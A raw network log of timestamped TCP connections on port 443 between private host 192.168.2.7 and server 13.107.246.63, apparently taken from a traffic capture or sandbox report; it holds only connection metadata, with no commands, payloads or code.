Nov 20, 2024 17:42:32.311398029 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.311424971 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.312459946 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.314694881 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.314730883 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.315043926 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.315062046 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.315082073 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.315239906 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.315249920 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.315609932 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.315617085 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.319766045 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.322979927 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.323054075 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.323241949 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.323259115 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.323268890 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.323272943 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.325325012 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.325388908 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.325463057 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.325795889 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.325826883 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.606719017 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.609766960 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.611241102 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.611274004 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.611295938 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.611309052 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.611320019 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.614196062 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.614223957 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.615335941 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.615394115 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.615397930 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.661009073 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.661039114 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.661082029 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.661139965 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.661190033 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.661416054 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.661470890 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.661503077 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.661518097 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.664484978 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.664522886 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.664583921 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.664733887 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.664746046 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.760648012 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.764987946 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.765039921 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.765156984 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.765197039 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.765197039 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.765213013 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.765223980 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.768270969 CET	49996	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.768305063 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.768556118 CET	49996	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.768735886 CET	49996	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.768742085 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.118993044 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.119715929 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.119791985 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.120227098 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.120256901 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.147988081 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.148345947 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.148365974 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.148741007 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.148746014 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.564559937 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.565325022 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.565356970 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.565841913 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.565855026 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.581911087 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.582611084 CET	49996	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.582628012 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.583004951 CET	49996	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.583009958 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.685941935 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.686034918 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.686113119 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.686414957 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.686439991 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.686453104 CET	49993	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.686458111 CET	443	49993	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.690073013 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.690103054 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.690175056 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.690350056 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.690363884 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.734049082 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.734231949 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.734340906 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.734481096 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.734481096 CET	49992	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.734504938 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.734513044 CET	443	49992	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.751269102 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.751378059 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:34.751466990 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.751789093 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:34.751823902 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.060908079 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.063568115 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.063662052 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.063755989 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.064048052 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.064106941 CET	49996	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.064217091 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.064232111 CET	49996	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.064235926 CET	443	49996	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.064240932 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.064265966 CET	49995	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.064273119 CET	443	49995	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.067619085 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.067642927 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.067687988 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.067713022 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.067832947 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.067878008 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.068032026 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.068039894 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.068042994 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.068058968 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.434819937 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.439625978 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.439649105 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.440490007 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.440495014 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.885303974 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.887409925 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.887481928 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.887523890 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.887542963 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.887552977 CET	49994	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.887558937 CET	443	49994	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.890546083 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.890599966 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:35.890671015 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.890820980 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:35.890836954 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.550251961 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.550761938 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:36.550785065 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.551275015 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:36.551280022 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.607101917 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.607578993 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:36.607621908 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.608036041 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:36.608050108 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.991277933 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.992142916 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:36.992157936 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:36.992868900 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:36.992872000 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.003947973 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.004395008 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.004415035 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.005166054 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.005171061 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.007914066 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.008011103 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.008063078 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.008276939 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.008290052 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.008297920 CET	49998	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.008302927 CET	443	49998	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.013003111 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.013031006 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.013120890 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.013237953 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.013250113 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.059026003 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.061959028 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.062046051 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.074045897 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.074098110 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.074126959 CET	49999	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.074142933 CET	443	49999	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.219762087 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.219832897 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.219918013 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.223661900 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.223695040 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.437062979 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.440088987 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.440140963 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.440263987 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.440303087 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.440303087 CET	50001	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.440311909 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.440319061 CET	443	50001	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.443662882 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.443681955 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.443793058 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.444004059 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.444015026 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.454618931 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.457484961 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.457557917 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.459496975 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.459528923 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.459556103 CET	50000	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.459569931 CET	443	50000	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.462912083 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.463013887 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.463083982 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.463231087 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.463268042 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.798338890 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.800337076 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.800419092 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:37.800860882 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:37.800875902 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.250781059 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.253746033 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.253837109 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.253928900 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.253928900 CET	50002	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.253974915 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.254002094 CET	443	50002	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.257021904 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.257060051 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.257155895 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.257330894 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.257345915 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.952198029 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.952771902 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.952831984 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.953310966 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.953342915 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.956871986 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.957245111 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.957256079 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:38.957690001 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:38.957695007 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.369353056 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.370024920 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.370049000 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.370559931 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.370567083 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.373693943 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.373999119 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.374064922 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.374368906 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.374387026 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.387217999 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.387283087 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.387384892 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.387444019 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.387612104 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.387634039 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.387670994 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.388020039 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.388101101 CET	443	50004	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.388151884 CET	50004	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.390662909 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.390760899 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.390849113 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.391141891 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.391175985 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.413325071 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.413408041 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.413537979 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.413753033 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.413768053 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.413777113 CET	50003	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.413781881 CET	443	50003	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.416503906 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.416570902 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.416661978 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.416806936 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.416841984 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.830812931 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.833745003 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.833810091 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.833820105 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.833859921 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.835503101 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.835520029 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.835536957 CET	50005	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.835541964 CET	443	50005	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.840058088 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.842786074 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.842858076 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.842909098 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.842952013 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.843003035 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.849863052 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.849884033 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.849895000 CET	50006	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.849901915 CET	443	50006	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.992723942 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.992764950 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.992830992 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.993879080 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.993953943 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.994025946 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.994110107 CET	50010	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.994126081 CET	443	50010	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:39.994574070 CET	50011	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:39.994610071 CET	443	50011	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.149065971 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.149657011 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.149673939 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.150145054 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.150150061 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.585946083 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.588587999 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.588654041 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.594367981 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.594383001 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.594393969 CET	50007	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.594399929 CET	443	50007	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.598536015 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.598570108 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:40.598627090 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.599544048 CET	50012	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:40.599558115 CET	443	50012	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.189759970 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.190510035 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.190522909 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.191025972 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.191031933 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.252929926 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.253684998 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.253715038 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.254157066 CET	50009	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.254167080 CET	443	50009	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.632438898 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.635401011 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.635464907 CET	50008	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:41.635488987 CET	443	50008	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:41.635514021 CET	443	50008	13.107.246.63	192.168.2.7
